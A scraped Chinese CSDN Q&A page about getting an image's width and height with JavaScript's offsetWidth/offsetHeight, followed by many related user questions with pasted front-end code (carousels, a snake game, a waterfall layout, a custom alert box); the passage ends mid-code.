用js中的offsetWidth、offsetHeight如何获取图片(0.jpg)的宽度和高度?

3个回答

offsetWidth = width + border + width

图片说明

qq_39676085
W-yufang 刚刚运行的时候发现,获取不到图片的offsetWidth和offsetHeight,是因为js在执行的时候,图片还没加载出来,所以要把js代码放到window.onload里面,等图片加载完之后再执行js代码
2 年多之前 回复

图片说明

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
使用Svg报一条警告SVGElement.offsetWidth' is deprecated

svg标签报两条警告 'SVGElement.offsetWidth' is deprecated and will be removed in M50, around April 2016. See https://www.chromestatus.com/features/5724912467574784 for more details. jquery.js:221 'SVGElement.offsetHeight' is deprecated and will be removed in M50, around April 2016. See https://www.chromestatus.com/features/5724912467574784 for more details. 这是我写的svg <svg height="100%" preserveAspectRatio="none" viewBox="0 0 125 200" id="four_rect"> <path d="M0,0 L50,0 L125,200 L0,200 Z" fill="rgba(255,255,255,0.5)" stroke="#FFF" stroke-width="0.2"/> </svg> 询问大神是我书写规则不对吗

下面js中的图片右上角加个关闭按钮, 关闭功能已实现。

``` <script> document.getElementById('close').addEventListener('click', function () { close(); },true) function close(){ Rimifon.close = true; ad.remove(); } var Rimifon = { "timer" : null, "close" : false, "Ads" : new Object, "NewFloatAd" : function(imgUrl, strLink) { var ad = document.createElement("div"); ad.DirV = true; ad.DirH = true; ad.AutoMove = true; ad.Image = new Image; ad.Seed = Math.random(); ad.Timer = setInterval("Rimifon.Float(" + ad.Seed + ")", 10); this.timer = ad.Timer; this.Ads[ad.Seed] = ad; ad.Image.Parent = ad; ad.style.position = "absolute"; ad.style.left = 0; ad.style.top = 0; ad.Image.src = imgUrl; ad.Image.onmouseover = function(){this.Parent.AutoMove = false;} ad.Image.onmouseout = function(){this.Parent.AutoMove = true;} if(strLink) { ad.href = strLink; ad.Image.border = 0; ad.target = "_blank"; } ad.appendChild(ad.Image); document.body.appendChild(ad); return ad; }, "Float" : function(floatId) { if(this.close){ clearInterval(this.timer); } var ad = this.Ads[floatId]; if(ad.AutoMove) { var curLeft = parseInt(ad.style.left); var curTop = parseInt(ad.style.top); if(ad.offsetWidth + curLeft > document.body.clientWidth + document.body.scrollLeft - 1) { curLeft = document.body.scrollLeft + document.body.clientWidth - ad.offsetWidth; ad.DirH = false; } if(ad.offsetHeight + curTop > document.body.clientHeight + document.body.scrollTop - 1) { curTop = document.body.scrollTop + document.body.clientHeight - ad.offsetHeight; ad.DirV = false; } if(curLeft < document.body.scrollLeft) { curLeft = document.body.scrollLeft; ad.DirH = true; } if(curTop < document.body.scrollTop) { curTop = document.body.scrollTop; ad.DirV = true; } ad.style.left = curLeft + (ad.DirH ? 1 : -1) + "px"; ad.style.top = curTop + (ad.DirV ? 1 : -1) + "px"; } } } </script> <script> var ad = Rimifon.NewFloatAd("http://www.jb51.net/images/logo.gif"); ad.style.left = 500; ad.style.top = 456; ad.Image.width = 200; ad.Image.height = 200; </script> ```

给图片设置坐标,旋转后,怎么让坐标值跟着一起旋转?

点击图片,在当前位置加上一个相对于图片的坐标点,我是相对于屏幕加的,如果要旋转或者放大图片的话,坐标点位置不会改变,坐标点的值也不会随着图片的旋转和放大变化。 怎么能改变这个bug?让图片上的坐标跟随者图片转动,并且坐标值也会随图片的比例改变相应的值? js代码 和 图片效果 ``` $('#canvas')[0].onclick = function (e) { var x = (e || window.event).clientX + scrollX, // 鼠标的X位置 y = (e || window.event).clientY + scrollY, //鼠标的Y位置 imgX = $('#canvas')[0].offsetLeft + 20, // 图片距离左边的位置 imgY = $('#canvas')[0].offsetTop + 20, // 图片距离右边的位置 imgW = $('#canvas')[0].offsetWidth, // 图片的宽度 imgH = $('#canvas')[0].offsetHeight; // 图片的高度 var pointY = y - imgY, // 点的Y坐标 pointX = x - imgX; // 点的X坐标 var inkDiv = document.createElement('div'); inkDiv.className = 'ink'; $('#info')[0].appendChild(inkDiv); if (x >= imgX && x <= imgX + imgW) { inkDiv.style.display = 'block'; inkDiv.style.top = (y - 25) + 'px'; inkDiv.style.left = (x - 17) + 'px'; inkDiv.innerHTML = 'w:' + pointX + ' h:' + pointY; var pointDiv = document.createElement('div'); pointDiv.className = 'point'; pointDiv.style.top = (inkDiv.offsetHeight + 6) + 'px'; inkDiv.appendChild(pointDiv); var closeSpan = document.createElement('span'); closeSpan.className = 'close'; closeSpan.innerText = '×'; closeSpan.style.left = (inkDiv.offsetWidth - 5) + 'px'; inkDiv.appendChild(closeSpan); } var closes = document.getElementsByClassName('close'); for (var i = 0; i < closes.length; i++) { var index = i; closes[i].onclick = function () { this.parentNode.remove(); } } var inks = document.getElementsByClassName('ink'); var zIndex = 10; for (var i = 0; i < inks.length; i++) { inks[i].onclick = function () { zIndex++; this.style.zIndex = zIndex; } } } ``` ![图片说明](https://img-ask.csdn.net/upload/201709/05/1504579427_406720.png) ![图片说明](https://img-ask.csdn.net/upload/201709/05/1504579437_418093.png)

为什么这里的imgList.style.left = 0 +"px"; 不生效?

在使用js实现html轮播图的时候想要在最后一张图的时候跳回第一张图,就是一直向右移动,但是设置imgList.style.left = 0 明明执行了却没生效,轮播到最后一张图片的时候会往回移动,像倒车一样。下面是页面代码 ``` <html> <head> <meta charset="utf-8"> <title></title> <style> *{ margin: 0; padding: 0; } #imgBox{ width: 516px; height: 333px; background-color: greenyellow; padding: 8px 0; margin: 50px auto; overflow: hidden; position: relative; } #imgList{ list-style: none; position: absolute; } #imgList li{ float: left; padding: 0 8px; } #imgNav{ position: absolute; bottom: 20px; } #imgNav a{ width: 15px; float: left; height: 15px; background-color: pink; opacity:0.6; margin: 0 5px; } #imgNav a:hover{ background-color:rgb(24, 136, 241); } </style> <script src="js/tool.js"></script> <script> window.onload = function(){ var imgBox = document.getElementById("imgBox") var imgList = document.getElementById("imgList"); var imgArr = document.getElementsByTagName("img"); //设置imgNav的宽度 imgList.style.width = imgBox.offsetWidth*imgArr.length + "px"; var imgNav = document.getElementById("imgNav"); //获取imgNav中所有的A var allA = document.getElementsByTagName("a"); //设置imgNav居中 //居中公式:(总体宽度 - 居中元素的宽度)/2 imgNav.style.left = (imgBox.offsetWidth - imgNav.offsetWidth)/2 + "px"; //设置默认索引为0 var index = 0; //设置默认选择元素颜色 allA[index].style.backgroundColor = "rgb(24, 136, 241)"; //遍历数组allA,为所有的A绑定单击响应函数 for(var i=0; i < allA.length; i++){ allA[i].num = i; allA[i].onclick = function(){ index = this.num; imgList.style.left= -516*index +"px"; move(imgList, "left", -516*index, 30, function(){ setA(); }) } } //调用自动切换函数 autoChange(); //设置选中a样式的函数 function setA(){ //判断是否是最后一张图片 **if(index >= imgArr.length - 1){ //是最后一张则跳为第一张 imgList.style.left = 0 +"px"; //索引初始化 index = 0; //判断在网页中查看if是否执行 alert("初始化完毕"); } ** //将所有a初始化 for(var i = 0; i < allA.length; i++){ allA[i].style.backgroundColor = ""; } //将选中的a变色 allA[index].style.backgroundColor = "rgb(24, 136, 241)"; } //设置自动切换函数 function autoChange(){ setInterval(function(){ index++; index %= imgArr.length; move(imgList, "left", -516*index, 30,function(){ setA(); }) },3000) } } </script> </head> <body> <div id="imgBox"> <ul id="imgList"> <li><img src="img/01.jpg" ></li> <li><img src="img/02.jpg" ></li> <li><img src="img/03.jpg" ></li> <li><img src="img/04.jpeg" ></li> <li><img src="img/05.jpg" ></li> <li><img src="img/01.jpg" ></li> </ul> <div id="imgNav"> <a href="javascript:;"></a> <a href="javascript:;"></a> <a href="javascript:;"></a> <a href="javascript:;"></a> <a href="javascript:;"></a> </div> </div> </body> </html> ``` 下面是move函数的代码 ``` /* 创建一个移动函数 obj为调用的对象 attribute为修改的属性 target为最终目标 speed为动作的速度 callBack为回调函数 */ function move(obj, attribute, target, speed, callBack){ clearInterval(obj.timer); //获取当前obj属性 var current = parseInt(getStyle(obj , attribute)); //判断速度方向 if(current>target){ speed = -speed; } obj.timer = setInterval(function(){ var oldValue = parseInt(getStyle(obj , attribute)); var newValue = oldValue + speed; //判断函数是否达到目标位置 if(speed > 0 && newValue >= target || speed < 0 && newValue <= target){ //使对象停在目标上 newValue = target; //关闭计时器 clearInterval(obj.timer); callBack && callBack(); } obj.style[attribute] = newValue + "px"; },30) } function getStyle(obj , name){ if(window.getComputedStyle){//判断兼容性 return getComputedStyle(obj,null)[name]; }else{ return obj.currentStyle[name]; } } ``` ![图片说明](https://img-ask.csdn.net/upload/201906/12/1560270611_753635.png)

如何将通过xmlhttp.open收集的变量传递给PHP的原始代码

<div class="post-text" itemprop="text"> <p>I am getting a screen resolution through XMLHttpRequest. I am opening a show_content.php file with screen resolution variables which I pull with the GET Method. This works!</p> <pre><code> xmlhttp.open("GET","show_content.php"+queryString,true); </code></pre> <p>and showing this file with the variables in a following div </p> <pre><code>&lt;div id="txtResolution"&gt;&lt;/div&gt; </code></pre> <p>This part works as well!</p> <p>PROBLEM: This div contains screen resolution variables that I would like to use throught the rest of the code outside of it but I can not pass them. How can I get those variables to be passed to the original code.</p> <p>I used the GET method but can not pass the variables to the original code outside the show_content.php I have tried with GLOBALS and Sessions as well but no luck</p> <p>Here ist the code. Everything works properly but I can not pass the variables from the "txtResolution" div to the rest of the code</p> <pre><code>function showResolution(field_id) { var xmlhttp; if (field_id.length==0) { document.getElementById("txtResolution").innerHTML=""; return; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { document.getElementById("myvalue").innerHTML=xmlhttp.responseText; var myphpvar = document.getElementById('myvalue').innerText; } } var winW = 630, winH = 460; if (document.body &amp;&amp; document.body.offsetWidth) { winW = document.body.offsetWidth; winH = document.body.offsetHeight; } if (document.compatMode=='CSS1Compat' &amp;&amp; document.documentElement &amp;&amp; document.documentElement.offsetWidth ) { winW = document.documentElement.offsetWidth; winH = document.documentElement.offsetHeight; } if (window.innerWidth &amp;&amp; window.innerHeight) { winW = window.innerWidth; winH = window.innerHeight; } var queryString = "?width=" + winW + "&amp;height=" + winH; xmlhttp.open("GET","show_content.php"+queryString,true); xmlhttp.send(); } </code></pre> </div>

图片滚动,鼠标放上去后不能停止滚动,不知哪里出错了

<div class="gdtp"> <div id="demo" style="overflow: hidden; width: 600px; height: 125px;"> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td id="demo1" nowrap="nowrap"> <a href="#"><img src="/wgzx/images/photo_small02.jpg" /></a> <a href="#"><img src="/wgzx/images/photo_small03.jpg" /></a> <a href="#"><img src="/wgzx/images/photo_small04.jpg" /></a> <a href="#"><img src="/wgzx/images/photo_small05.jpg" /></a> <a href="#"><img src="/wgzx/images/photo_small06.jpg" /></a> <a href="#"><img src="/wgzx/images/photo_small06.jpg" /></a> </td> <td id="demo2" nowrap="nowrap"> </td> </tr> </table> </div> <script type="text/javascript"> var speed = 20;//滚动速度值,值越大速度越慢 // var demo=document.getElementById("demo"); // var demo=document.getElementById("demo1"); // var demo=document.getElementById("demo2"); // var nnn=200/demo1.offsetHeight; // for(i=0;i<nnn;i++){demo1.innerHTML+="<br />"+demo1.innerHTML} // demo2.innerHTML = demo1.innerHTML //克隆demo2为demo1 function Marquee() { if(demo2.offsetWidth-demo.scrollLeft<=0) //当滚动至demo1与demo2交界时 { demo.scrollLeft -= demo1.offsetWidth //demo跳到最顶端 } else { demo.scrollLeft ++ } } var MyMar=setInterval(Marquee,speed);//设置定时器 demo.onmouseover=function(){clearInterval(MyMar)}//鼠标经过时清除定时器达到滚动停止的目的 demo.onmouseout = function(){MyMar = setInterval(Marquee,speed)} window.onload = function() { if(demo.offsetWidth < demo1.offsetWidth) { demo2.innerHTML=demo1.innerHTML var MyMar=setInterval(Marquee,speed) } } </script> </div>

JavaScript width,height,left,top

Javascript里的,offsetwidth,offsetheight,offsetTop.offsetLeft. width,height,top,left, scrollwidth,scrollheight,scrolltop,scrollleft, clientwidth,clientheight,clienttop,clientleft指的是元素的那些地方的width,height,left,top ,能否详细说明??

Ueditor提示cannot read property

在.net中集成Ueditor是,打开页面提示cannot read property‘offsetWidth’ of null 的JS错误提示。

offsetWidth与clientWidth

我有两个问题,关于offsetWidth与clientWidth 1.element的client区域,是指border以内的部分,包括element本身的size跟padding 但是,e.clientX的原点,却没有遵循同样的机制,原点并不是body对象的client区域的左上角,而是body的margin区域的左上角 所以,有点矛盾,或者说,不太一致 2.在body有margin值的情况下,如何取得浏览器可显示区域的宽度呢? body.offsetWidth显然不行,因为不包括margin > The offsetHeight property returns the viewable height of an element in pixels, including padding, border and scrollbar, but not the margin.

如何将base64转换为图像(画布)并使用php将其保存到文件夹路径?

<div class="post-text" itemprop="text"> <p>I am confused as how to upload that base64 to folder path. Here is my code:</p> <pre><code>var img = document.createElement('img') || document.querySelector('img'); var context; var width = video.offsetWidth , height = video.offsetHeight; canvas = canvas || document.createElement('canvas'); canvas.width = width; canvas.height = height; context = canvas.getContext('2d'); context.drawImage(video, 0, 0, width, height); img.src = canvas.toDataURL('image/png'); document.body.appendChild(img); </code></pre> </div>

用JS写的贪吃蛇,为什么定时器结束后会自动平移一格?

``` <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>random</title> <style> .map{ width: 800px; height: 600px; background-color: #CCC; position: relative; } </style> </head> <body> <div class="map"></div> <script> //自调用函数----食物的 (function(){ var elements = [];//用来保存每个小方块食物的 //食物就是一个对象,有宽,有高,有颜色,有横纵坐标,先定义构造函数,然后创建对象 function Food(width,height,color,x,y){ this.width=width||20; this.height=height||20; this.color=color||"green"; this.x=x||0; this.y=y||0; } //为原型添加初始化的方法(作用:在页面上显示这个食物) //因为食物要在地图上显示,所以,需要地图的这个参数(map---就是页面上的.class=map的这个div) Food.prototype.init=function(map){ //先删除这个小食物 //外部无法访问的函数 remove(); //设置div的样式 var div = document.createElement("div"); div.style.width=this.width+"px"; div.style.height=this.height+"px"; div.style.backgroundColor=this.color; //先脱离文档流 div.style.position = "absolute"; //随机横纵坐标 this.x = parseInt(Math.random() * (map.offsetWidth / this.width)) * this.width; this.y = parseInt(Math.random() * (map.offsetHeight / this.height)) * this.height; div.style.left = this.x + "px"; div.style.top = this.y + "px"; //把div加到map中 map.appendChild(div); //把div加入到数组elements中 elements.push(div); } function remove(){ for(var i=0;i<elements.length;i++) { //找到这个子元素的父级元素,然后删除这个子元素 elements[i].parentNode.removeChild(elements[i]); //再次把elements中的这个子元素也要删除 elements.splice(i,1); } } //把Food暴露给Window,外部可以使用 window.Food=Food; })(); //自调用函数----小蛇 (function(){ var elements = [];//存放小蛇的每个身体部分 //小蛇的构造 function Snake(width,height,direction) { this.width=width||20; this.height=height||20; this.direction=direction||"right"; this.body=[ {x:3,y:2,color:"red"}, {x:2,y:2,color:"orange"}, {x:1,y:2,color:"orange"} ]; } //为原型添加方法--小蛇初始化的方法 Snake.prototype.init=function(map){ remove(); //循环遍历创建div for(var i=0;i<this.body.length;i++) { //数组中的每个数组元素都是一个对象 var obj=this.body[i]; var div=document.createElement('div'); //设置div的样式 div.style.position = "absolute"; div.style.width = this.width + "px"; div.style.height = this.height + "px"; //横纵坐标 div.style.left = obj.x * this.width + "px"; div.style.top = obj.y * this.height + "px"; //背景颜色 div.style.backgroundColor = obj.color; //方向暂时不定 map.appendChild(div); //把div加入到elements数组中----目的是为了删除 elements.push(div); } } //为原型添加方法---小蛇动起来 Snake.prototype.move=function(food,map){ //改变小蛇的身体的坐标位置 var i=this.body.length-1;//2 for(;i>0;i--) { this.body[i].x=this.body[i-1].x; this.body[i].y=this.body[i-1].y; } //蛇头位置,判断方向---改变小蛇的头的坐标位置 switch(this.direction) { case "right": this.body[0].x+=1; break; case "left": this.body[0].x-=1; break; case "top": this.body[0].y-=1; break; case "bottom": this.body[0].y+=1; break; } //判断小蛇有没有吃到食物 //小蛇的头的坐标和食物的坐标一致 var headX=this.body[0].x*this.width; var headY=this.body[0].y*this.height; //判断小蛇的头的坐标和食物的坐标是否相同 if(headX==food.x&&headY==food.y) { var last=this.body[this.body.length-1]; this.body.push({ x:last.x, y:last.y, color:last.color }); //把食物删除,重新初始化食物 food.init(map); } } function remove(){ //删除map中的小蛇的每个div,同时删除elements数组中的每个元素,从蛇尾向蛇头方向删除div var i = elements.length - 1; for(;i>=0;i--) { //先从当前的子元素中找到该子元素的父级元素,然后再弄死这个子元素 var div=elements[i]; //从map地图上删除这个子元素div div.parentNode.removeChild(div); elements.splice(i, 1); } } window.Snake=Snake; })(); //自调用函数---游戏对象================================================ (function(){ function Game(map) { this.food = new Food();//食物对象 this.snake = new Snake();//小蛇对象 this.map = map;//地图 that = this;//保存当前的实例对象到that变量中-----------------此时that就是this } //初始化游戏-----可以设置小蛇和食物显示出来 Game.prototype.init = function () { //初始化游戏 //食物初始化 this.food.init(this.map); //小蛇初始化 this.snake.init(this.map); //调用自动移动小蛇的方法========================||调用了小蛇自动移动的方法 this.runSnake(this.food, this.map); //调用按键的方法 this.bindKey();//======================================== }; //添加原型方法---设置小蛇可以自动的跑起来 Game.prototype.runSnake=function(food,map){ //自动的去移动 var timeId = setInterval(function () { //此时的this是window //移动小蛇 this.snake.move(food, map); //初始化小蛇 this.snake.init(map); //横坐标的最大值 var maxX = map.offsetWidth / this.snake.width; //纵坐标的最大值 var maxY = map.offsetHeight / this.snake.height; //小蛇的头的坐标 var headX = this.snake.body[0].x; var headY = this.snake.body[0].y; //横坐标 if (headX < 0 || headX >= maxX) { //撞墙了,停止定时器 clearInterval(timeId); alert("游戏结束"); } //纵坐标 if (headY < 0 || headY >= maxY) { //撞墙了,停止定时器 clearInterval(timeId); alert("游戏结束"); } }.bind(that), 150); } //添加原型方法---设置用户按键,改变小蛇移动的方向 Game.prototype.bindKey=function(){ document.addEventListener("keydown",function(e){ //获取用户的按键,改变小蛇的方向 //这里的this应该是触发keydown的事件的对象---document, //所以,这里的this就是document //获取按键的值 switch (e.keyCode){ case 37: this.snake.direction="left"; if(snake_direction=="right") { this.snake.direction="right"; } else{ snake_direction="left"; } break; case 38: this.snake.direction="top"; if(snake_direction=="bottom") { this.snake.direction="bottom"; } else{ snake_direction="top"; } break; case 39: this.snake.direction="right"; if(snake_direction=="left") { this.snake.direction="left"; } else{ snake_direction="right"; } break; case 40: this.snake.direction="bottom"; if(snake_direction=="top") { this.snake.direction="top"; } else{ snake_direction="bottom"; } break; } }.bind(that)); } window.Game=Game; })(); //初始化游戏对象 var gm = new Game(document.querySelector(".map")); //初始化游戏---开始游戏 gm.init(); </script> </body> </html> ```

Vue.js页面渲染生命周期问题

使用Vue.js做瀑布流布局时,在mounted中直接调用waterFall函数,页面上图片布局是乱的,设置了setTimeout延迟0ms渲染也不起作用。 在safari和chrome上页面正常了,设置延迟100ms,页面加载后布局正常,但是明显的可以看到布局的变化过程,效果不好,延迟值再设置低一些,就不起作用; 在火狐浏览器,要设置延迟150ms以上才起作用,而且也是可以看到页面布局的变化过程,体验不好。 求各位大师指点明路。 ```, <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script src="../../../vue.js"></script> <style> *{margin: 0;padding: 0} #main{position: relative;margin:0 auto;} #main::after{content: '';display: block;height: 0;clear: both;visibility: hidden;} .pic{float: left;padding: 15px 0 0 15px;} .pic img{padding: 10px;width: 165px;height: auto;border: 1px solid #ccc;border-radius: 5px;box-shadow: 0 0 5px #ccc;} </style> </head> <body> <div id="main"> <div class="pic" v-for='img in images'> <img :src="img"> </div> </div> <script type="text/javascript"> var vm = new Vue({ el : '#main' , data : { images:[ 'images/0.jpg','images/1.jpg','images/2.jpg','images/3.jpg','images/4.jpg','images/5.jpg','images/6.jpg','images/7.jpg','images/8.jpg','images/9.jpg', 'images/10.jpg','images/11.jpg','images/12.jpg','images/13.jpg','images/14.jpg','images/15.jpg','images/16.jpg','images/17.jpg','images/18.jpg','images/19.jpg', 'images/20.jpg','images/21.jpg','images/22.jpg','images/23.jpg','images/24.jpg','images/25.jpg','images/26.jpg','images/27.jpg','images/28.jpg','images/29.jpg', 'images/30.jpg','images/31.jpg','images/32.jpg','images/33.jpg','images/34.jpg','images/35.jpg','images/36.jpg' ] }, mounted:function(){ var _this = this ; setTimeout(function(){ _this.waterFall('main','pic'); },0); //safari浏览器下必须迟延30ms执行waterFall,布局才会正常渲染,其他浏览器下设置为0即可。 }, methods:{ getByClass:function(oParent,clsName){ return oParent.getElementsByClassName(clsName); }, waterFall:function(Parent,clsName){ var _this = this ; var oParent = document.getElementById(Parent); var oBoxs = _this.getByClass(oParent,clsName); var oBoxW = oBoxs[0].offsetWidth ; //获取每列的宽度 var pageW = document.documentElement.clientWidth ; var cols = Math.floor(pageW / oBoxW) ; //判断页面列数 oParent.style.cssText = 'width:' + cols*oBoxW +'px;'; //设定main的宽度并居中 var arr = [] ; //用于存放每列的高度 for(var i=0;i<oBoxs.length;i++){ if( i<cols ){ arr.push(oBoxs[i].offsetHeight); }else { var minH = Math.min.apply('null',arr); //求出高度最低列的值 var index = _this.getMinIndex(arr,minH) ; //高度最低列的索引值 oBoxs[i].style.position = 'absolute' ; oBoxs[i].style.top = minH + 'px' ; oBoxs[i].style.left = oBoxs[index].offsetLeft + 'px' ; arr[index] += oBoxs[i].offsetHeight ; //更新数组中每列的高度 } } }, getMinIndex:function(arr,value){ //获取数组arr中,值为value的索引值 for(var i=0;i<arr.length;i++){ if(arr[i] == value){ return i ;} } } }, }); </script> </body> </html> ```

javaScript中返回true和false的问题,求大神解答!!

``` <%-- Created by IntelliJ IDEA. User: TopbeCoder5 Date: 2015/1/18 Time: 20:44 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>测试alertMsg</title> <link href="css/alertMsg.css" rel="stylesheet" type="text/css"/> <script type="text/javascript"> function alertMsg(msg, mode) { //mode为空,即只有一个确认按钮,mode为1时有确认和取消两个按钮 msg = msg || ''; mode = mode || 0; var top = document.body.scrollTop || document.documentElement.scrollTop; var isIe = (document.all) ? true : false; var isIE6 = isIe && !window.XMLHttpRequest; var sTop = document.documentElement.scrollTop || document.body.scrollTop; var sLeft = document.documentElement.scrollLeft || document.body.scrollLeft; var winSize = function () { var xScroll, yScroll, windowWidth, windowHeight, pageWidth, pageHeight; // innerHeight获取的是可视窗口的高度,IE不支持此属性 if (window.innerHeight && window.scrollMaxY) { xScroll = document.body.scrollWidth; yScroll = window.innerHeight + window.scrollMaxY; } else if (document.body.scrollHeight > document.body.offsetHeight) { // all but Explorer Mac xScroll = document.body.scrollWidth; yScroll = document.body.scrollHeight; } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari xScroll = document.body.offsetWidth; yScroll = document.body.offsetHeight; } if (self.innerHeight) { // all except Explorer windowWidth = self.innerWidth; windowHeight = self.innerHeight; } else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode windowWidth = document.documentElement.clientWidth; windowHeight = document.documentElement.clientHeight; } else if (document.body) { // other Explorers windowWidth = document.body.clientWidth; windowHeight = document.body.clientHeight; } // for small pages with total height less then height of the viewport if (yScroll < windowHeight) { pageHeight = windowHeight; } else { pageHeight = yScroll; } // for small pages with total width less then width of the viewport if (xScroll < windowWidth) { pageWidth = windowWidth; } else { pageWidth = xScroll; } return { 'pageWidth': pageWidth, 'pageHeight': pageHeight, 'windowWidth': windowWidth, 'windowHeight': windowHeight } }(); //alert(winSize.pageWidth); //遮罩层 var styleStr = 'top:0;left:0;position:absolute;z-index:10000;background:#666;width:' + winSize.pageWidth + 'px;height:' + (winSize.pageHeight + 30) + 'px;'; styleStr += (isIe) ? "filter:alpha(opacity=80);" : "opacity:0.8;"; //遮罩层DIV var shadowDiv = document.createElement('div'); //添加阴影DIV shadowDiv.style.cssText = styleStr; //添加样式 shadowDiv.id = "shadowDiv"; //如果是IE6则创建IFRAME遮罩SELECT if (isIE6) { var maskIframe = document.createElement('iframe'); maskIframe.style.cssText = 'width:' + winSize.pageWidth + 'px;height:' + (winSize.pageHeight + 30) + 'px;position:absolute;visibility:inherit;z-index:-1;filter:alpha(opacity=0);'; maskIframe.frameborder = 0; maskIframe.src = "about:blank"; shadowDiv.appendChild(maskIframe); } document.body.insertBefore(shadowDiv, document.body.firstChild); //遮罩层加入文档 //弹出框 var styleStr1 = 'display:block;position:fixed;_position:absolute;left:' + (winSize.windowWidth / 2 - 125) + 'px;top:' + (winSize.windowHeight / 2 - 70) + 'px;_top:' + (winSize.windowHeight / 2 + top - 150) + 'px;'; //弹出框的位置 var alertBox = document.createElement('div'); var alertTitle = document.createElement('div'); alertTitle.id = 'alertTitle'; alertBox.id = 'alertMsg'; alertBox.style.cssText = styleStr1; //创建弹出框里面的内容P标签 var alertMsg_info = document.createElement('P'); alertMsg_info.id = 'alertMsg_info'; alertMsg_info.innerHTML = msg; alertTitle.innerHTML = '提示信息!'; alertBox.appendChild(alertTitle); alertBox.appendChild(alertMsg_info); //创建按钮 var styleStr2 = 'display:block;position:fixed;_position:absolute;left:' + (winSize.windowWidth / 2 - 125) + 'px;top:' + (winSize.windowHeight / 2 + 40) + 'px;_top:' + (winSize.windowHeight / 2 + top - 150) + 'px;'; //弹出框的位置 var alertBottom = document.createElement('div'); alertBottom.id = 'alertBottom'; alertBottom.style.cssText = styleStr2; if (mode === 1) { var btn1 = document.createElement('a'); btn1.id = 'alertMsg_btn1'; btn1.href = 'javas' + 'cript:void(0)'; btn1.innerHTML = '<cite>确定</cite>'; btn1.onclick = function () { document.body.removeChild(alertBox); document.body.removeChild(shadowDiv); document.body.removeChild(alertBottom); //document.getElementById("logout").click(); return true; }; alertBottom.appendChild(btn1); var btn2 = document.createElement('a'); btn2.id = 'alertMsg_btn2'; btn2.href = 'javas' + 'cript:void(0)'; btn2.innerHTML = '<cite>取消</cite>'; btn2.onclick = function () { document.body.removeChild(alertBox); document.body.removeChild(shadowDiv); document.body.removeChild(alertBottom); return false; }; } else { var btn2 = document.createElement('a'); btn2.id = 'alertMsg_btn2'; btn2.href = 'javas' + 'cript:void(0)'; btn2.innerHTML = '<cite>确定</cite>'; btn2.onclick = function () { document.body.removeChild(alertBox); document.body.removeChild(shadowDiv); document.body.removeChild(alertBottom); return false; }; } alertBottom.appendChild(btn2); document.body.appendChild(alertBox); document.body.appendChild(alertBottom); } function confirmMsg() { if (alertMsg("测试", 1)) { alert("点击了确定"); } else { alert("点击了取消"); } } </script> </head> <body> <input type="button" value="Test the alert" onclick="return confirmMsg('test confirm');"> </body> </html> ``` 为什么一点botton就直接运行了false啊??

js图片切换,附图绿框中的小点触发mouseover时对应图片不一致,麻烦大神们指点

## 做个实例,js中发现了些问题!当我点击图中两侧的向左向右按钮后,再onmouseover触发图下的小点时,对应的图片不一致了,onmouseout后又正常了。 ![图片说明](https://img-ask.csdn.net/upload/201905/28/1559028470_229219.jpg) ``` <!doctype HTML> <html> <head> <meta charset="utf-8"> <title></title> <meta name="description" content=""> <meta name="keywords" content=""> <style type="text/css"> *{ padding:0; margin:0; } a{ text-decoration:none; } li{ list-style:none; } img{ border:0; } #scrollAdvWrap{ width:340px; height:240px; overflow:hidden; border:1px solid #000; margin:0 auto; position:relative; } #adv{ position:absolute; top:0; left:0; } #adv li{ float:left; } #adv img{ width:340px; height:240px; vertical-align:top; } #prev,#next{ position:absolute; width:30px; height:40px; top:100px; z-index:1; opacity:0.5; filter:alpha(opacity=50); } #prev{ left:0; background:url(images/news_arr_l.png); } #next{ right:0; background:url(images/news_arr_r.png); } #dotBtn{ position:absolute; bottom:10px; left:50%; transform:translate(-50%,0); -webkit-transform:translate(-50%,0); -moz-transform:translate(-50%,0); -o-transform:translate(-50%,0); -ms-transform:translate(-50%,0); } #dotBtn li{ float:left; width:10px; height:10px; background:silver; cursor:pointer; margin:0 4px; } #dotBtn .active{ background:red; } </style> <script> window.$=HTMLElement.prototype.$=function(selector){ return (this==window?document:this).querySelectorAll(selector); } window.onload=function(){ app.tabAdv(); } var app={}; app.tabAdv=function(){ var lBtn=$("#prev")[0]; var rBtn=$("#next")[0]; var oUl=$("#adv")[0]; var oLi=oUl.$("li"); var oImg=oUl.$("img"); var dot=$("#dotBtn")[0]; var dotLi=dot.$("li"); var oneWidth=oLi[0].offsetWidth; var arr=[]; var dotArr=[]; var timer=null; function getWidth(){ var widths=oneWidth*oLi.length; oUl.style.width=widths+"px"; } getWidth(); for(var i=0;i<oLi.length;i++){ var image=oLi[i].getElementsByTagName("img")[0]; var imgSrc=image.src; arr.push(imgSrc); } console.log(arr); for(var i=0;i<dotLi.length;i++){ dotArr.push(dotLi[i].className); } console.log(dotArr); timer=setInterval(toNext,3000); for(var i=0;i<oLi.length;i++){ oLi[i].onmouseover=dotLi[i].onmouseover=lBtn.onmouseover=rBtn.onmouseover=function(){ clearInterval(timer); } oLi[i].onmouseout=dotLi[i].onmouseout=lBtn.onmouseout=rBtn.onmouseout=function(){ timer=setInterval(toNext,3000); } } lBtn.onmouseover=rBtn.onmouseover=function(){ clearInterval(timer); this.style.opacity=1; this.style.filter="alpha(opacity=100)"; } lBtn.onmouseout=rBtn.onmouseout=function(){ timer=setInterval(toNext,3000); this.style.opacity=0.5; this.style.filter="alpha(opacity=50)"; } lBtn.addEventListener("click",toPrev); rBtn.addEventListener("click",toNext); function toPrev(){ arr.unshift(arr[arr.length-1]); arr.pop(); dotArr.push(dotArr[0]); dotArr.shift(); for(var i=0;i<oImg.length;i++){ oImg[i].src=arr[i]; } for(var i=0;i<dotLi.length;i++){ dotLi[i].className=dotArr[i]; } } function toNext(){ arr.push(arr[0]); 